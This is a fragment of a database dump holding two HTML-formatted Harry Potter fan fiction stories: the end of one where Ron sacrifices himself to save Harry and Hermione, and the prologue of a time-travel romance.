backfired and hit Lord Voldermort, who too consumed in\nwatching the result couldn&#8217;t get out of the way. The curse hit him and his body\nwithered. His face suddenly became hideous and his eyes seemed to be issuing\nred sparks. </i></p>\n\n<p class="MsoNormal"><i>Harry had felt a sudden darkness overcoming him. But he\nremembered thinking about Hermione and thinking that their work was not still\ncomplete. </i></p>\n\n<p class="MsoNormal"><i>He didn&#8217;t know how it had happened. </i></p>\n\n<p class="MsoNormal"><i>They had looked at each other&#8230;</i></p>\n\n<p class="MsoNormal"><i>They remembered what they had to do&#8230;</i></p>\n\n<p class="MsoNormal"><i>Almost as if it was inevitable they hand in hand had\nraised there other hands and muttered the same incantation, </i></p>\n\n<p class="MsoNormal"><i>&#8220;Aay Zalim teray khatam honay ki bari. Khatam ho ga!&#8221; (Oh\nyou murderer, the doom is on you. Perish!)</i></p>\n\n<p class="MsoNormal"><i>There had been a bright flash and instantly two similar\njets of blue lights had escaped there wands and taking the forms of giant\nRavens had belted against lord Voldermort&#8217;s chest. He had given an agonizing\ncry. </i></p>\n\n<p class="MsoNormal"><i>A cry that he had never heard before. </i></p>\n\n<p class="MsoNormal"><i>So hideous was his last yell, that the ground shook, the\nice in the great lake broke. </i></p>\n\n<p class="MsoNormal"><i>Just then the shield of Hermione had faded and instantly\nSirius Black had leapt towards him. </i></p>\n\n<p class="MsoNormal"><i>But they were all there to listen to the last words of\nVoldermort before he melted into molten slime. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;I am going, but I have had my revenge. You Potter and\nyour mudblood friend will not live either. You will die before the yellow face\ncomes out of behind these mountain.&#8221;</i></p>\n\n<p class="MsoNormal"><i>With that his body had melted and evil had spread out of\nhis soul. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">This was the tale of Harry Potter. Needless to say, Sirius\nhad been too late. The escort of Auror&#8217;s had wasted precious time in deciding\nthe way to attack the death-eaters. </p>\n\n<p class="MsoNormal">The physical examination of Harry and Hermione told that\nVoldermort was indeed correct.</p>\n\n<p class="MsoNormal">The red blood cells in their body were gradually but rapidly\nbeing destroyed by some unknown particle. Slow but continuous torment. </p>\n\n<p class="MsoNormal">At the order of Harry they had been laid into a separate\nroom. Harry had bidden everyone including Dumbledore, Sirius, Remus, Draco and\nGinny to leave them alone. </p>\n\n<p class="MsoNormal">And there he and Hermione were laid. </p>\n\n<p class="MsoNormal">He had cried his heart out. He didn&#8217;t want Hermione to go.\nBut he knew that he could do anything. His magical energy was too less to\nsustain Hermione&#8217;s life for too long. </p>\n\n<p class="MsoNormal">They had lied in each other&#8217;s arms until great drowsiness\nhad overcome them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry tilted his head. The light of the wand was becoming\neven more diminished. He had no qualms about the fact that in no time the wand\nwould wither and would stop giving light. </p>\n\n<p class="MsoNormal">&nbsp;Suddenly he heard\nsomeone moan beside him. With great force he struggled to get up feeling great\nweariness. With even more power of will and strength of body he was barely able\nto mutter with his wand &#8220;Lumos!&#8221; The wand had suddenly glowed, but Harry had\ncollapsed on the bed feeling too tired with the strenuous effort. </p>\n\n<p class="MsoNormal">He could clearly see Hermione now. She way lying on the bed\nstill firmly clinging on Harry&#8217;s hand. She seemed very white. Pale and drowsy.\nHe leaned besides him trying to smell the so fond fragrance of her hairs. She\nhad often teased him about &#8216;liking her&#8221; because of her superior hair smell. He\nhad often reminded her that she always used the hairdo shampoo of his choice so\nit wasn&#8217;t necessarily her distinction. </p>\n\n<p class="MsoNormal">The clock chimed again. </p>\n\n<p class="MsoNormal">6.o.clock. Suddenly Harry saw Hermione stir. The light of\nthe wand was now like a small dot kindled by limited amount of matchstick.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He felt a warm; surprisingly warm hand travel over his skin,\ngently stopping here and there. Hermione was muttering something. He leaned closer\nto hear what she was saying. </p>\n\n<p class="MsoNormal">&#8220;Harry! I need you&#8230;please!&#8221; She seemed to be saying this\nrepeatedly in her sleep. </p>\n\n<p class="MsoNormal">Then suddenly her hand traveled over his body and to his\nhairs. Then she suddenly pulled him towards her. Her eyes were now half open.\nHe felt her white cheeks redden a bit. She obviously was getting some sort of\nwarmth from him. He himself felt his weariness decrease a little bit. But only\na little bit. Hermione was staring at him. Her lips trembled like she wanted to\nsay something. </p>\n\n<p class="MsoNormal">Then suddenly she burst in tears. Hysterical tears seemed to\nbe flowing down his cheeks. He couldn&#8217;t do anything else then to hug her\ntighter and tighter&#8230;he gently brushed away the tears from her cheeks with his\nhand. He felt her moan and then settle in his lap. He didn&#8217;t feel any type of\nsexual arousal. He was too grieved. She was still murmuring the same thing\nrepeatedly. </p>\n\n<p class="MsoNormal">She looked so peaceful that Harry didn&#8217;t want to wake her\nfor the fear of losing her. He couldn&#8217;t believe he would be losing her. No it\ncan&#8217;t be happening. He can&#8217;t lose her. She, she was too precious. NO! Harry&#8217;s\nmind screamed at him. He had to do anything to safe her. He felt the sudden\nurge to protect her from everything. </p>\n\n<p class="MsoNormal">Hermione shifted a little in her sleep. Her lips came in the\nview. They were pursed like she wanted to say something angry. </p>\n\n<p class="MsoNormal">Also Harry had to bear in mind that it was she who had been\nhit by most part of the curse. </p>\n\n<p class="MsoNormal">He suddenly felt something rising in his chest. Suddenly,\nHermione&#8217;s skin became cold to him. He feared to touch. He feared to touch her\nso that he might wake her from her angelic sleeping form. </p>\n\n<p class="MsoNormal">&#8220;But I must! I must have to do something to save Hermione. I\ncan&#8217;t leave her like that.&#8221; Harry was broken and dismayed. </p>\n\n<p class="MsoNormal">He couldn&#8217;t think of anything. </p>\n\n<p class="MsoNormal">It happened so suddenly. </p>\n\n<p class="MsoNormal">On an instinct he bent over Hermione. Suddenly he could\nsmell the so homely odor of the scent she used so often. She stirred at his\ntouch when he gripped her wrists. She shifted in her sleep and tugged on\nHarry&#8217;s Jumper (sweater) </p>\n\n<p class="MsoNormal">Just when he was about to kiss her, he heard her mumble\nalmost in sleep.</p>\n\n<p class="MsoNormal">&#8220;Do you love me Harry?&#8221; She seemed so pretty that Harry\nwanted to die at her hands. Instead he could only bent more closely to her,\ntaking care not to disturb her sleep. Moving closer to her ear he whispered, </p>\n\n<p class="MsoNormal">&#8220;I love you more then anything I loved since I was born.\nHermione! I worship you!&#8221; With that he gently nibbled at Hermione&#8217;s lobe. He\ninstantly felt fire running down his skin.</p>\n\n<p class="MsoNormal">For a moment he imagined Hermione deep down in her mind\nbattling with the intimidating darkness that threatened to overcome her as soon\nas her r&#233;sistance was ended.</p>\n\n<p class="MsoNormal">Not much power was left. </p>\n\n<p class="MsoNormal">Harry brushed his lips past her. They were still warm and\ntasted pleasantly. For a moment a wave of nourishment passed through his body.\nThen there was darkness again. Harry felt drowsiness overcoming her so he just\nleft his lips there, gently sucking up the sweet essence of Hermione. </p>\n\n<p class="MsoNormal">His last cry was, </p>\n\n<p class="MsoNormal">&nbsp;&#8220;Oh GOD! Someone\nplease save Hermione!&#8221; With that he went into a state of nowhere. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;*******************************************************************</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText2">He couldn&#8217;t believe it. He couldn&#8217;t believe it still. He\nsaw Sirius and Remus carrying the bodies of Harry and Hermione followed by a\nmob carrying everything. He was left alone in the dark patch just besides\nHagrid&#8217;s hut. He saw his sister Ginny giving him one last glance and then\nturning his nose on him. </p>\n\n<p class="MsoBodyText2">The last words he heard were, &#8220;they would die, as\nyou-know-who said in some hours.&#8221; </p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><b>So they still lived. That was good news. But they will\ndie! Oh no! They will die! Just because of me! Just because of a selfish brat\nlike me! His nerves pumped so hard that he felt his brain would explode.&nbsp; He realized that he had loved Hermione but\nHermione didn&#8217;t love him. She loved Harry. She did care for her as a friend,\nbut all the time he had been a total jackass. </b></p>\n\n<p class="MsoNormal"><b>He now realized how wrong he was. He was so selfish. He\ncould now remember all the glances that Harry used to throw at Hermione, that\nintimidated him a lot, all the giggling that Hermione did with her female\nfriends. Which Ron thoughts were to daunt him? He thought they were just being\ncatty because they wanted to shun him.</b></p>\n\n<p class="MsoNormal"><b>He had believed that Harry had bewitched Hermione to love\nHarry. </b></p>\n\n<p class="MsoNormal"><b>Oh he was so wrong! It was his doing. He on the first\nhand had asked them to meet him outside. He had to save Hermione and Harry! At\nall costs.</b></p>\n\n<p class="MsoNormal"><b>&#8220;Wait at all costs?&#8221; He asked his heart?</b></p>\n\n<p class="MsoNormal"><b>&#8220;Yes at all costs!&#8221; Something in his heart replied. </b></p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>He suddenly turned towards the Castle and ran back with\nfull speed; just one word ringing in his ears. To save Hermione and Harry. He\ndarted towards the library.</b></p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>A spell. A spell might save them&#8230;yes, a spell.</b></p>\n\n<p class="MsoNormal"><b>&nbsp;&nbsp;\n************************************************************</b></p>\n\n<p class="MsoNormal">Harry gave a last sigh. It was all over wasn&#8217;t it. He could\nfeel the power sucked out of him. It was so very tormenting. But more\ntormenting was the idea and the reality that Hermione would also have to suffer\nlike this and he would lose Hermione forever.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;oh not at Christmas! Oh God please not at Christmas!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He was lying on Hermione&#8217;s right side. He had placed her\nright hand on his chest and his right hand adjusted itself over Hermione&#8217;s\ntorso. Suddenly, he felt a commotion outside the room and then suddenly someone\nflung open the door and at once the room was lighted with bright light. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at the newcomer barely able to open his eyes.\nIt was Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RON! Ron was answerable for Hermione&#8217;s death. Suddenly a\nfear overcame Harry. What if Ron was here to watch Hermione&#8217;s torment? Was Ron\nreally evil? He wanted to say something but he was left tongue-tied. He didn&#8217;t\nhave enough power to say anything.</p>\n\n<p class="MsoNormal">Ron looked in the room franticly. Now Harry was hearing more\nvoices. Voices, which he recognized, were also coming through the corridor. Ron\nlooked around, and then noticing something he leapt towards Harry. For a moment\nHarry thought that he was going to pounce on him and strange him. Not that he\nneeded to. He was almost dead. </p>\n\n<p class="MsoNormal">But to his amazement He didn&#8217;t do that instead took out\nHarry&#8217;s wand from the pocket of his jumper. Harry felt too numb to do anything.\n</p>\n\n<p class="MsoNormal">&#8220;What was he trying to do?&#8221; </p>\n\n<p class="MsoNormal">&#8220;Doo youuu want tooo kill me?&#8221; with great effort Harry\nsucceeded in uttering these words. Ron looked shocked for a moment, but then\nshrugged his head. Running off towards the side table he also took Hermione&#8217;s\nwand. Before entering the room Ron had closed the door, and locked it magically\nand physically. </p>\n\n<p class="MsoNormal">Someone was hammering on the door. Harry felt Hermione stir\nbesides him. He felt for her hand. It was very cold. </p>\n\n<p class="MsoNormal">Ron muttered some incantation, holding first his wand and\nthen Harry and Hermione&#8217;s wand. Something passed between the three wands. The\nhammering on the door became louder and now shouts of &#8220;open the door!&#8221; was also\nthere.</p>\n\n<p class="MsoNormal">Quickly as lightening Ron thrust Harry&#8217;s wand in his right\nhand and a bit tentatively he thrust Hermione&#8217;s wand in her hand. There was a\nshake in his hand when he did that. He almost dropped the wand.</p>\n\n<p class="MsoNormal">Now charms were being tried on the room. Harry didn&#8217;t know\nwhat Ron was doing. He noticed Hermione was also looking at Ron. But fear was\nnot in her eyes. Instead there was something else. Something he couldn&#8217;t quiet\nfathom. </p>\n\n<p class="MsoNormal">Suddenly, the movements of Ron became quiet shaky. He seemed\nto hesitate a bit. </p>\n\n<p class="MsoNormal">Then suddenly the door was burst opened. That seemed to be\nthe deciding moment. Quick as lightening Ron took out his wand and pointing it\ntowards Harry and Hermione said, </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i>Essenceium plaices dividus.&#8221; </i>And took a step towards\nthem. </p>\n\n<p class="MsoNormal">At that moment, Red light traveled from Ron&#8217;s wand, and\ndividing into 2 rays it hit both the wands of Hermione and Harry. Suddenly\ntheir wands started glowing. A multitude of people was now gathered on the\ndoor. They were watching the whole scene as if in a trance. </p>\n\n<p class="MsoNormal">The wand started glowing and then suddenly Harry felt his\nenergy returning to him. He could feel the running of Wizarding Genes in his\nblood. Besides him he felt Hermione stir and stand up. He also stood up. </p>\n\n<p class="MsoNormal">Meanwhile, the red light was still emitting from Ron&#8217;s wand,\nbut it seemed that someone had squeezed all the life out of Ron. His face\nsuddenly became deathly pale. He began to shake. Suddenly he lost his footing\nbut didn&#8217;t let go of the wand. He was now facing towards Hermione. </p>\n\n<p class="MsoNormal">It seemed that someone was squeezing away the essence from\nhim. He withered and coiled. The mob on the door entered inside. </p>\n\n<p class="MsoNormal">Harry felt that almost all of his former energy had returned\nto him. Besides him he felt Hermione stiffen and then mutter, </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Essence charm! My God!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The red light was now blurring. Ron&#8217;s face was now white.\nMore white then Hermione&#8217;s had been.</p>\n\n<p class="MsoNormal">Suddenly, Harry heard a sudden sob but before that Ron with\none last effort turned towards Hermione and looked into her eyes. His eyes wee empty.\nThere was nothing there.</p>\n\n<p class="MsoNormal">Except love and apology. </p>\n\n<p class="MsoNormal">Hermione couldn&#8217;t behold Ron&#8217;s gaze, she jerked and tried to\nmove forward but Harry held her closely to himself. He saw Ginny entering the\nroom, her face deathly pale clutching onto Draco.</p>\n\n<p class="MsoNormal">Suddenly, Ron turned towards Hermione again and said, </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<b>Cha Kay be hum tumhay na bhool payan gay&#8221;</b><i> (even\nby wish wont we be able to forget you, for we hath loved thou) </i>&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Forgive me Harry. I just realized in time that I was a\ncomplete dork. No wonder it took me so long to come to my senses. Just take\ncare of her Harry. She is.is.Too...Prec&#8230;&#8221; Ron faltered tried to say something\nbut suddenly a death cough enveloped him and blood streamed out of his mouth. </p>\n\n<p class="MsoNormal">He wiped it with his robes and uttered, </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Take care of herrr&#8230;she isss&#8230;veryyy-preciousssssssssssssss&#8221;\nanother death cough overcame him. Ginny rushed forward but before she could\nreach him, he held a finger to stop her. Saluted the crowd and then like a heap\nof dried moss fell down. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He was dead. Ron Weasley had sacrificed himself for Harry\nPotter and Hermione Granger. He had given them his own life. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny gave a huge scream and fainted. Hermione turned\ndeathly white, then turning towards Harry she flung herself onto him. </p>\n\n<p class="MsoNormal">&#8220;Oh Harry I love you!&#8221; </p>\n\n<p class="MsoNormal">&#8220;I love you too Hermione! Just never leave me!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stood up. After all he had to comfort Ginny. He\ncouldn&#8217;t leave his dead friend untended. </p>\n\n<p class="MsoNormal">Somewhere in the surroundings, the clock chimed 7.o.clock.\nThe first signs of the yellow-face appeared. Birds chirped, but silence was\nthere in Hogwarts. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry said quiet in Hermione&#8217;s ears, &#8220;Merry Christmas.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;\n************************************************************************</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i>Complete. </i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal"><i>Disclaimer:</i> This story is based on characters and situations created\nand owned by JK Rowling, various publishers including but not limited to\nBloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.\nNo money is being made and no copyright or trademark infringement is intended</p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal"><b><i>Yellow-face&#169; Gollum, Lord of the Rings, J.R.R.Tolkien.</i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal"><b><i>Four-poster bed@ J.K.Rowling.</i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(69, 1, '\n\n\n\n\n\n\n\n<p class="MsoBodyText"><b>&nbsp;</b></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i>Story, &#8220;Love.&#8221; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal"><b><i>Prologue.</i></b></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Summary: The title says it. Harry is torn between the\naffection of his mother and the love of his girl friend, Hermione. Meanwhile,\nVoldermort is on a rise again. The time of the final battle is approaching.\nAmid Strange circumstances he travels back in time and encounters his parents\nwho might provide the strength he needs against Voldermort. But will he forget\nthe love of his heart? Jealous James! Angry Remus! Maniac Sirius and Confused\nHarry!</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText"><b>A flashback from Future\n</b></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">He was pouring over some books in the restricted section\nof the library, trying to find the one book, which was needed.</p>\n\n<p class="MsoNormal"><i>The book that would decide the fate of the world. </i></p>\n\n<p class="MsoNormal"><i>He needed the book immediately. Time was running short.\nThe planted moles of both sides had done their work and they were waiting for\nthe final strokes. The strokes that would decide it all. </i></p>\n\n<p class="MsoNormal"><i>He looked towards his watch. </i></p>\n\n<p class="MsoNormal"><i>&#8216;Damn! Only 30 minute more.&#8221; He tapped the book with his\nwand. Nothing happened.</i></p>\n\n<p class="MsoNormal"><i>Another book, the same way of tapping. Nothing happening.\nAnother book&#8230;another one&#8230;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Fuck! 15 minutes remaining.&#8221;</i></p>\n\n<p class="MsoNormal"><i>He felt the power inside him suddenly swirl up. He could\nfeel his magical genes radiating some unknown magical energy. He felt his\npsychopathic senses quicken and he was aware of someone, someone whom he loved\nsitting in a crowding room thinking of him. </i></p>\n\n<p class="MsoNormal"><i>He would have to tell her. But only if he survived the\nmasterstroke.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;The final battle.\n</i></p>\n\n<p class="MsoNormal"><i>He had wasted 1 minute in this thought. </i></p>\n\n<p class="MsoNormal"><i>Only two books were left in the shelf. He felt his heart\nquicken in anticipation.</i></p>\n\n<p class="MsoNormal"><i>&#8220;Shit! 10 minutes remaining.&#8221; Nothing came out of the\nfirst book when he tapped it with his wand. Frustrated he threw the book. It\nwent flying towards the ground hitting the floor with a loud thud. A thin\nparchment slipped out of it and lay on the floor. He looked at the parchment\ncuriously.</i></p>\n\n<p class="MsoNormal"><i>Time was running out. He had to decide fast. Someone,\nsomething in his mind screamed at him to go look at the parchment. Almost\nunconsciously he stepped out of the chair and picked the parchment. It was a\ntotally blank one with nothing written on it. On closer examination it looked\nlike a piece of paper from a muggle diary. </i></p>\n\n<p class="MsoNormal"><i>Cursing he was about to throw the parchment away when a\ntiny scrawl on the lower end of the parchment caught his eyes. There in green\ncharacters were written.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><b><i>I am Lord Voldermort.</i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoBodyText">&#8220;Got it!&#8221; he almost leapt out of his place. </p>\n\n<p class="MsoNormal"><i>&#8220;Fucking shit! 9 minutes left.</i></p>\n\n<p class="MsoNormal"><i>He didn&#8217;t bother to tap the parchment with his wand, instead\nhe placed the forefinger of his right hand on the tip of the parchment and\nsuddenly words seem to appear on it out of nowhere.</i></p>\n\n<p class="MsoNormal"><i>Ancient Latin writing. Greek symbols. </i></p>\n\n<p class="MsoNormal"><i>Prima Endoras Assis baskos. (Spell of immortality)</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>These lines were scribbled on the parchment in neat\nhandwriting.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText2">I Tom have found the fruit of my hardships. I will be\ncalled Lord Voldermort from now on. I will conquer this world. </p>\n\n<p class="MsoNormal"><b><i>With this spell!</i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Prima\nendorest senst gochio Dracos univerus playcos. Ell emin! Berethil!&#8221; </i></b></p>\n\n<p class="MsoNormal"><b><i>Bane of this spell is &#8220;Serpensotia.&#8221; Something else\nwas also written in very small handwriting. He glanced through it also laughing\na little. How mental Voldermort was? He thought. It was written </i>One who\nperforms the anti-curse spell would never be able to make love with anyone else\nthen the first person he makes love with. This is the curse of Grindlewald.</b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoBodyText">His hear fluttered. He had found it. So very simple now\nthat he know the reason behind it. The great enemy was no fool. After all he\nwas the most cunning person off his generation. </p>\n\n<p class="MsoNormal"><i>He looked at his watch.</i></p>\n\n<p class="MsoNormal"><i>&#8220;Nine hells! 4 minutes remaining.&#8221; </i></p>\n\n<p class="MsoNormal"><i>He muttered a remembering charm, a not-so-easy-charm in\nnormal conditions for normal people. Now he remembered the spell as clearly as\nhis name. He looked at the paper. There was a bright flash; a jerk of his\nfinger and the paper caught fire burning into embers. </i></p>\n\n<p class="MsoNormal"><i>He took out the portkey. 2 minutes remaining. He needed\nto hurry. He was leaving for good. He was just about to portkey himself when\nhis psychic senses sensed the presence of another psychopath. He closed his\neyes and for a moment concentrated hard on the feeling. He felt that a portal\nhad opened in his head. He could no see the face of his mentor clearly. </i></p>\n\n<p class="MsoNormal"><i>Aged with care, shadowed with death, yet containing mirth.\nThere was still hope in his eyes. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Estel! Estel! He seemed to be getting one same message\nevery time.&#8221; </i></p>\n\n<p class="MsoNormal"><i>He felt waves like electric currents passing through his\nmind and he felt a voice say, </i></p>\n\n<p class="MsoNormal"><i>&#8220;Go, the hope of all and the love of many is with you.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>He bowed his head&#8230;</i></p>\n\n<p class="MsoNormal"><i>&#8220;45, 44, 43&#8230;&#8221; </i></p>\n\n<p class="MsoNormal"><i>He took out the muggle-recycled can. </i></p>\n\n<p class="MsoNormal"><i>&#8220;SWISH!&#8221; there was a jerk at his naval. He unbalanced\nslightly, felt the swishing of Air stop and opened his eyes again. </i></p>\n\n<p class="MsoNormal"><i>He was standing at one edge of a vast plane. The plane stretched\nto the whole length of Hogwarts Grounds. He could make out figures surrounding\nthe plain. </i></p>\n\n<p class="MsoNormal"><i>He turned his attention towards the center of the plain.\nAlmost simultaneously, the sky roared, and lighting blinded everyone\nmomentarily. Huge and threatening, black and menacing cloud rolled over the\nground. Wind was slowing changing into a gale. The first torrents of gushing\nrain were about to fall. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;Suddenly rain\ndrops started to pelt down on him. He could feel urges of pain run over his\nbody as he was suddenly bombarded with hail. He muttered a spell. </i></p>\n\n<p class="MsoNormal"><i>His vision cleared. </i></p>\n\n<p class="MsoNormal"><i>He could now see him. </i></p>\n\n<p class="MsoNormal"><i>Standing on the other corner of the field he looked more\ntall and threatening then before. His black clock swished madly because of the\nwind. His hairs were free and fell on his shoulders. His red eyes were blazing\nand in the silent of the dark they seemed like two peaks of Mount Thongrodium. </i></p>\n\n<p class="MsoNormal"><i>He moved forward. </i></p>\n\n<p class="MsoNormal"><i>The clouds hollered.</i></p>\n\n<p class="MsoNormal"><i>They both moved forward.</i></p>\n\n<p class="MsoNormal"><i>The hour of doom was fast approaching.</i></p>\n\n<p class="MsoNormal"><i>His psychopathic senses could feel the presence of an\nemotionally very strong person in the surroundings. The mental pressure was\nun-bearable. He could feel the magical energy pouring out of him. </i></p>\n\n<p class="MsoNormal"><i>He stretched his hands.</i></p>\n\n<p class="MsoNormal"><i>As if on a cue, there was a huge roar and the sky was\nvisible for a moment. </i></p>\n\n<p class="MsoNormal"><i>They were now within hearing distance. </i></p>\n\n<p class="MsoNormal"><i>He took out his wand and gripped it tightly. </i></p>\n\n<p class="MsoNormal"><i>The figure just laughed and lightly fingered his wand.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;So we meat again, Harry.&#8221; He said in a surprisingly soft\nvoice.</i></p>\n\n<p class="MsoNormal"><i>&#8220;The end has approached. One of us will remain&#8230;and he\nwill rule the world.&#8221; He laughed menacingly. </i></p>\n\n<p class="MsoNormal"><i>But strangely it had no effect on Harry. He just stood\nthere, trying to work out the strategies of Lord Voldermort.</i></p>\n\n<p class="MsoNormal"><i>&#8220;They are all here.&#8221; Lord Voldermort gestured randomly\ntowards what seemed like a huge mob of people. </i></p>\n\n<p class="MsoNormal"><i>&#8220;My followers, No-body&#8217;s followers and your followers.&#8221;\nHe continued.</i></p>\n\n<p class="MsoNormal"><i>&#8220;They are here to see the end. The end has arrived\nPotter.&#8221; His voice suddenly hardened. </i></p>\n\n<p class="MsoNormal"><i>&#8220;For years I have planned it. I know that neither of us can\ndestroy each other except in single combat.&#8221; The serpentine touch again crept\nin his voice. His voice so silky and so crafty that Harry felt a wave of venom\npassing through his body. He cringed at the foul atmosphere. Rain was now\npelting down. But it didn&#8217;t have any effect on both of the rivals. </i></p>\n\n<p class="MsoNormal"><i>&#8220;But you don&#8217;t know&#8230;you don&#8217;t know&#8230;&#8221; He continued\nsilkily. Suddenly standing tall, his black clock blowing madly in the gale.\nHarry felt the air thicken with foulness of the evil will of Lord Voldermort. </i></p>\n\n<p class="MsoNormal"><i>&#8220;You don&#8217;t know that I am immortal! I Lord Voldermort am\nimmortal!&#8221; His voice thundered and it was louder then even the loudest of the\nthunderous clouds. </i></p>\n\n<p class="MsoNormal"><i>&#8220;When you read the prophecy, and got the invitation from\nme for a single duel, you thought that everything had gone according to your\nplan and that fool of a Headmaster thought that I had warranted my own death.\nFool was he naught to realize that I had also heard the prophecy. Sometimes\nillegal animagus could be of great use.&#8221; He said smiling maliciously at Harry. </i></p>\n\n<p class="MsoNormal"><i>&#8220;I have found the spell of immortality. I am Immortal!\nYou can&#8217;t defeat me. Surrender to me. I will give you all you desire for.\nWealth, Girls, Women, we could rule the world among us. There is much more to\nthe world which you haven&#8217;t seen.&#8221; He tried to tempt Harry. Harry had not said\nanything till this time. He just stood there listening to Voldermort talking\nabout his glory. Suddenly a small smile crept on his face. </i></p>\n\n<p class="MsoNormal"><i>The foul mind of Voldermort thought that he had been able\nto succumb Harry to his charms. He expected a reply so he stood silently there.\n</i></p>\n\n<p class="MsoNormal"><i>Nothing happened for a few moments, but then Voldermort\ngrew impatient. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Why don&#8217;t you talk boy?&#8221; He glared at Harry, but then\nhis voice softened although the malevolence in him increased. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Just think about it. You could be great! You could even\nget your parents back! Think about it&#8230;&#8221; He took a step closer making Harry back\na bit. </i></p>\n\n<p class="MsoNormal"><i>Harry still didn&#8217;t answer. Finally, Lord Voldermort lost\nhis temper. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Speak you boy! Can&#8217;t you speak! Don&#8217;t you have a tongue\nor that dotard of a fool of a Headmaster taken your tongue away?&#8221; He shouted at\nHarry. </i></p>\n\n<p class="MsoNormal"><i>Harry looked at him, and his eyes seem to him to so pure\nand so full of light that he backed away a little shocked by their grace and\ntheir beauty. Emerald flame was preparing itself for a final attack. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Finally Harry talked and everyone who listened felt as if\nsomeone else was speaking for him. His voice was fair and his tone seemed so\neminent and firm that they thought some king of old has arrived to kill the\nevil.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;You were once great Tom. You were proud and great. Yet,\nyou were mistreated. This mistreating clouded your wits. You felt that the\nworld was only evil. You forgot the meaning of love after the death of Anne.\nYour heart refused to listen to any reason your brain gave to you. Yourself\npossessed you. You were given the choice to choose between good and evil and in\nyour self-pity 